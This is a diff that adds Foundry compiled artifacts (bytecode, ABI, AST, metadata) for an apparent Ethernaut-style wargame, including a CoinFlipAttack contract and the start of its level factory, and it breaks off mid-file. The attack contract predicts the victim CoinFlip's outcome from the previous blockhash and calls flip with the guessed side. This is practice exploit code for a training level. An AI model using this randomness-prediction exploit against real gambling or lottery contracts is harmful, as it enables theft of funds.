+{"abi":[{"type":"function","name":"attack","inputs":[{"name":"_victim","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x6080604052600160ff1b5f55348015610016575f80fd5b506101f7806100245f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c8063d018db3e1461002d575b5f80fd5b61004061003b366004610124565b610054565b604051901515815260200160405180910390f35b5f818161006260014361015e565b5f805491409250906100749083610183565b90505f81600114610085575f610088565b60015b6040517f1d263f67000000000000000000000000000000000000000000000000000000008152811515600482015290915073ffffffffffffffffffffffffffffffffffffffff851690631d263f67906024016020604051808303815f875af11580156100f6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061011a91906101a2565b5095945050505050565b5f60208284031215610134575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114610157575f80fd5b9392505050565b8181038181111561017d57634e487b7160e01b5f52601160045260245ffd5b92915050565b5f8261019d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156101b2575f80fd5b81518015158114610157575f80fdfea2646970667358221220142b6854e5ced4943f2a79e7a9da4a0fac626e6055796d878db192d15608df4264736f6c63430008180033","sourceMap":"92:475:39:-:0;;;-1:-1:-1;;;122:94:39;;92:475;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610029575f3560e01c8063d018db3e1461002d575b5f80fd5b61004061003b366004610124565b610054565b604051901515815260200160405180910390f35b5f818161006260014361015e565b5f805491409250906100749083610183565b90505f81600114610085575f610088565b60015b6040517f1d263f67000000000000000000000000000000000000000000000000000000008152811515600482015290915073ffffffffffffffffffffffffffffffffffffffff851690631d263f67906024016020604051808303815f875af11580156100f6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061011a91906101a2565b5095945050505050565b5f60208284031215610134575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114610157575f80fd5b9392505050565b8181038181111561017d57634e487b7160e01b5f52601160045260245ffd5b92915050565b5f8261019d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156101b2575f80fd5b81518015158114610157575f80fdfea2646970667358221220142b6854e5ced4943f2a79e7a9da4a0fac626e6055796d878db192d15608df4264736f6c63430008180033","sourceMap":"92:475:39:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;223:342;;;;;;:::i;:::-;;:::i;:::-;;;493:14:155;;486:22;468:41;;456:2;441:18;223:342:39;;;;;;;;272:4;317:7;272:4;374:16;389:1;374:12;:16;:::i;:::-;356:36;451:6;;364:27;;;-1:-1:-1;356:36:39;429:28;;364:27;429:28;:::i;:::-;402:56;;468:9;480:8;492:1;480:13;:28;;503:5;480:28;;;496:4;480:28;518:19;;;;;493:14:155;;486:22;518:19:39;;;468:41:155;:40:39;;-1:-1:-1;518:13:39;;;;;;441:18:155;;518:19:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;554:4:39;223:342;-1:-1:-1;;;;;223:342:39:o;14:309:155:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;181:9;168:23;231:42;224:5;220:54;213:5;210:65;200:93;;289:1;286;279:12;200:93;312:5;14:309;-1:-1:-1;;;14:309:155:o;520:282::-;587:9;;;608:11;;;605:191;;;-1:-1:-1;;;649:1:155;642:88;753:4;750:1;743:15;781:4;778:1;771:15;605:191;520:282;;;;:::o;807:274::-;847:1;873;863:189;;-1:-1:-1;;;905:1:155;898:88;1009:4;1006:1;999:15;1037:4;1034:1;1027:15;863:189;-1:-1:-1;1066:9:155;;807:274::o;1086:277::-;1153:6;1206:2;1194:9;1185:7;1181:23;1177:32;1174:52;;;1222:1;1219;1212:12;1174:52;1254:9;1248:16;1307:5;1300:13;1293:21;1286:5;1283:32;1273:60;;1329:1;1326;1319:12","linkReferences":{}},"methodIdentifiers":{"attack(address)":"d018db3e"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_victim\",\"type\":\"address\"}],\"name\":\"attack\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/CoinFlipAttack.sol\":\"CoinFlipAttack\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/CoinFlipAttack.sol\":{\"keccak256\":\"0x75073dac0277fc441099f7f97359f6a46016d2b4b89023195914bc71ed535fa6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://485a30219418eed921289f78d5682c0ad5b50f1aa96804cc983c5bab7581e1f4\",\"dweb:/ipfs/QmXT5cECqJo5jJhfctEYNCFPha8HdnRBztyzX77t71sqwL\"]},\"src/levels/CoinFlip.sol\":{\"keccak256\":\"0xee4c36a31de9882a423aec4cac960ec28586ae015f809ffad606aeafc9d12976\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://3d782d9af569c371b593f69f1935537d1f4437811c1fc42a8613549e82f0c279\",\"dweb:/ipfs/QmQGu57AR8BeEQvSpQhPNWLWAUwBXC9FcDFwatEm5WM14c\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_victim","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"attack","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/CoinFlipAttack.sol":"CoinFlipAttack"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/attacks/CoinFlipAttack.sol":{"keccak256":"0x75073dac0277fc441099f7f97359f6a46016d2b4b89023195914bc71ed535fa6","urls":["bzz-raw://485a30219418eed921289f78d5682c0ad5b50f1aa96804cc983c5bab7581e1f4","dweb:/ipfs/QmXT5cECqJo5jJhfctEYNCFPha8HdnRBztyzX77t71sqwL"],"license":"MIT"},"src/levels/CoinFlip.sol":{"keccak256":"0xee4c36a31de9882a423aec4cac960ec28586ae015f809ffad606aeafc9d12976","urls":["bzz-raw://3d782d9af569c371b593f69f1935537d1f4437811c1fc42a8613549e82f0c279","dweb:/ipfs/QmQGu57AR8BeEQvSpQhPNWLWAUwBXC9FcDFwatEm5WM14c"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/CoinFlipAttack.sol","id":49165,"exportedSymbols":{"CoinFlip":[50177],"CoinFlipAttack":[49164]},"nodeType":"SourceUnit","src":"33:535:39","nodes":[{"id":49103,"nodeType":"PragmaDirective","src":"33:23:39","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49104,"nodeType":"ImportDirective","src":"58:32:39","nodes":[],"absolutePath":"src/levels/CoinFlip.sol","file":"../levels/CoinFlip.sol","nameLocation":"-1:-1:-1","scope":49165,"sourceUnit":50178,"symbolAliases":[],"unitAlias":""},{"id":49164,"nodeType":"ContractDefinition","src":"92:475:39","nodes":[{"id":49107,"nodeType":"VariableDeclaration","src":"122:94:39","nodes":[],"constant":false,"mutability":"mutable","name":"FACTOR","nameLocation":"130:6:39","scope":49164,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":49105,"name":"uint256","nodeType":"ElementaryTypeName","src":"122:7:39","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"hexValue":"3537383936303434363138363538303937373131373835343932353034333433393533393236363334393932333332383230323832303139373238373932303033393536353634383139393638","id":49106,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"139:77:39","typeDescriptions":{"typeIdentifier":"t_rational_57896044618658097711785492504343953926634992332820282019728792003956564819968_by_1","typeString":"int_const 5789...(69 digits omitted)...9968"},"value":"57896044618658097711785492504343953926634992332820282019728792003956564819968"},"visibility":"internal"},{"id":49163,"nodeType":"FunctionDefinition","src":"223:342:39","nodes":[],"body":{"id":49162,"nodeType":"Block","src":"278:287:39","nodes":[],"statements":[{"assignments":[49116],"declarations":[{"constant":false,"id":49116,"mutability":"mutable","name":"coinflip","nameLocation":"297:8:39","nodeType":"VariableDeclaration","scope":49162,"src":"288:17:39","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"},"typeName":{"id":49115,"nodeType":"UserDefinedTypeName","pathNode":{"id":49114,"name":"CoinFlip","nameLocations":["288:8:39"],"nodeType":"IdentifierPath","referencedDeclaration":50177,"src":"288:8:39"},"referencedDeclaration":50177,"src":"288:8:39","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"}},"visibility":"internal"}],"id":49120,"initialValue":{"arguments":[{"id":49118,"name":"_victim","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49109,"src":"317:7:39","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":49117,"name":"CoinFlip","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50177,"src":"308:8:39","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_CoinFlip_$50177_$","typeString":"type(contract CoinFlip)"}},"id":49119,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"308:17:39","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"}},"nodeType":"VariableDeclarationStatement","src":"288:37:39"},{"assignments":[49122],"declarations":[{"constant":false,"id":49122,"mutability":"mutable","name":"blockValue","nameLocation":"343:10:39","nodeType":"VariableDeclaration","scope":49162,"src":"335:18:39","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":49121,"name":"uint256","nodeType":"ElementaryTypeName","src":"335:7:39","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":49132,"initialValue":{"arguments":[{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":49129,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":49126,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"374:5:39","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":49127,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"380:6:39","memberName":"number","nodeType":"MemberAccess","src":"374:12:39","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"hexValue":"31","id":49128,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"389:1:39","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"374:16:39","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":49125,"name":"blockhash","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-5,"src":"364:9:39","typeDescriptions":{"typeIdentifier":"t_function_blockhash_view$_t_uint256_$returns$_t_bytes32_$","typeString":"function (uint256) view returns (bytes32)"}},"id":49130,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"364:27:39","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":49124,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"356:7:39","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":49123,"name":"uint256","nodeType":"ElementaryTypeName","src":"356:7:39","typeDescriptions":{}}},"id":49131,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"356:36:39","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"335:57:39"},{"assignments":[49134],"declarations":[{"constant":false,"id":49134,"mutability":"mutable","name":"coinFlip","nameLocation":"410:8:39","nodeType":"VariableDeclaration","scope":49162,"src":"402:16:39","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":49133,"name":"uint256","nodeType":"ElementaryTypeName","src":"402:7:39","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":49144,"initialValue":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":49142,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":49139,"name":"blockValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49122,"src":"437:10:39","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":49138,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"429:7:39","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":49137,"name":"uint256","nodeType":"ElementaryTypeName","src":"429:7:39","typeDescriptions":{}}},"id":49140,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"429:19:39","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"/","rightExpression":{"id":49141,"name":"FACTOR","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49107,"src":"451:6:39","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"429:28:39","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":49136,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"421:7:39","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":49135,"name":"uint256","nodeType":"ElementaryTypeName","src":"421:7:39","typeDescriptions":{}}},"id":49143,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"421:37:39","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"402:56:39"},{"assignments":[49146],"declarations":[{"constant":false,"id":49146,"mutability":"mutable","name":"side","nameLocation":"473:4:39","nodeType":"VariableDeclaration","scope":49162,"src":"468:9:39","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":49145,"name":"bool","nodeType":"ElementaryTypeName","src":"468:4:39","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"id":49153,"initialValue":{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":49149,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":49147,"name":"coinFlip","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49134,"src":"480:8:39","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"31","id":49148,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"492:1:39","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"480:13:39","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseExpression":{"hexValue":"66616c7365","id":49151,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"503:5:39","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"id":49152,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"Conditional","src":"480:28:39","trueExpression":{"hexValue":"74727565","id":49150,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"496:4:39","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"VariableDeclarationStatement","src":"468:40:39"},{"expression":{"arguments":[{"id":49157,"name":"side","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49146,"src":"532:4:39","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":49154,"name":"coinflip","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49116,"src":"518:8:39","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"}},"id":49156,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"527:4:39","memberName":"flip","nodeType":"MemberAccess","referencedDeclaration":50176,"src":"518:13:39","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bool_$returns$_t_bool_$","typeString":"function (bool) external returns (bool)"}},"id":49158,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"518:19:39","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":49159,"nodeType":"ExpressionStatement","src":"518:19:39"},{"expression":{"id":49160,"name":"side","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49146,"src":"554:4:39","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":49113,"id":49161,"nodeType":"Return","src":"547:11:39"}]},"functionSelector":"d018db3e","implemented":true,"kind":"function","modifiers":[],"name":"attack","nameLocation":"232:6:39","parameters":{"id":49110,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49109,"mutability":"mutable","name":"_victim","nameLocation":"247:7:39","nodeType":"VariableDeclaration","scope":49163,"src":"239:15:39","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49108,"name":"address","nodeType":"ElementaryTypeName","src":"239:7:39","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"238:17:39"},"returnParameters":{"id":49113,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49112,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49163,"src":"272:4:39","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":49111,"name":"bool","nodeType":"ElementaryTypeName","src":"272:4:39","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"271:6:39"},"scope":49164,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"CoinFlipAttack","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49164],"name":"CoinFlipAttack","nameLocation":"101:14:39","scope":49165,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":39} \ No newline at end of file diff --git a/contracts/out/CoinFlipFactory.sol/CoinFlipFactory.json b/contracts/out/CoinFlipFactory.sol/CoinFlipFactory.json new file mode 100644 index 000000000..186fe5130 --- /dev/null +++ b/contracts/out/CoinFlipFactory.sol/CoinFlipFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6105b68061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610333565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610355565b61014c565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610333565b6101bd565b610114610252565b61011d5f6102ab565b565b5f60405161012c90610312565b604051809103905ff080158015610145573d5f803e3d5ffd5b5092915050565b5f80839050600a816001600160a01b031663e6f334d76040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b3919061038c565b1015949350505050565b6101c5610252565b6001600160a01b0381166102465760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61024f816102ab565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161023d565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101dd806103a483390190565b6001600160a01b038116811461024f575f80fd5b5f60208284031215610343575f80fd5b813561034e8161031f565b9392505050565b5f8060408385031215610366575f80fd5b82356103718161031f565b915060208301356103818161031f565b809150509250929050565b5f6020828403121561039c575f80fd5b505191905056fe6080604052600160ff1b600255348015610017575f80fd5b505f80556101b5806100285f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80631d263f6714610038578063e6f334d714610060575b5f80fd5b61004b6100463660046100f5565b610076565b60405190151581526020015b60405180910390f35b6100685f5481565b604051908152602001610057565b5f8061008360014361012f565b405f1c90508060015403610095575f80fd5b60018190556002545f906100a99083610148565b90505f816001146100ba575f6100bd565b60015b9050841515811515036100e8575f805490806100d883610167565b9091555060019695505050505050565b50505f8080559392505050565b5f60208284031215610105575f80fd5b81358015158114610114575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156101425761014261011b565b92915050565b5f8261016257634e487b7160e01b5f52601260045260245ffd5b500490565b5f600182016101785761017861011b565b506001019056fea2646970667358221220340baa842e0c9604da3f1bb0118d26fbf456e41472b3ecebd152e10eda819c4264736f6c63430008180033a2646970667358221220ac574ef832d796d475aba5bda1a01612ee088a68feec01b460c71eb2bf8d6b2064736f6c63430008180033","sourceMap":"111:398:62:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;111:398:62;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;111:398:62:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610333565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610355565b61014c565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610333565b6101bd565b610114610252565b61011d5f6102ab565b565b5f60405161012c90610312565b604051809103905ff080158015610145573d5f803e3d5ffd5b5092915050565b5f80839050600a816001600160a01b031663e6f334d76040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b3919061038c565b1015949350505050565b6101c5610252565b6001600160a01b0381166102465760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61024f816102ab565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161023d565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101dd806103a483390190565b6001600160a01b038116811461024f575f80fd5b5f60208284031215610343575f80fd5b813561034e8161031f565b9392505050565b5f8060408385031215610366575f80fd5b82356103718161031f565b915060208301356103818161031f565b809150509250929050565b5f6020828403121561039c575f80fd5b505191905056fe6080604052600160ff1b600255348015610017575f80fd5b505f80556101b5806100285f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80631d263f6714610038578063e6f334d714610060575b5f80fd5b61004b6100463660046100f5565b610076565b60405190151581526020015b60405180910390f35b6100685f5481565b604051908152602001610057565b5f8061008360014361012f565b405f1c90508060015403610095575f80fd5b60018190556002545f906100a99083610148565b90505f816001146100ba575f6100bd565b60015b9050841515811515036100e8575f805490806100d883610167565b9091555060019695505050505050565b50505f8080559392505050565b5f60208284031215610105575f80fd5b81358015158114610114575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156101425761014261011b565b92915050565b5f8261016257634e487b7160e01b5f52601260045260245ffd5b500490565b5f600182016101785761017861011b565b506001019056fea2646970667358221220340baa842e0c9604da3f1bb0118d26fbf456e41472b3ecebd152e10eda819c4264736f6c63430008180033a2646970667358221220ac574ef832d796d475aba5bda1a01612ee088a68feec01b460c71eb2bf8d6b2064736f6c63430008180033","sourceMap":"111:398:62:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;151:147:62;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;151:147:62;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;304:203:62;;;;;;;;;;-1:-1:-1;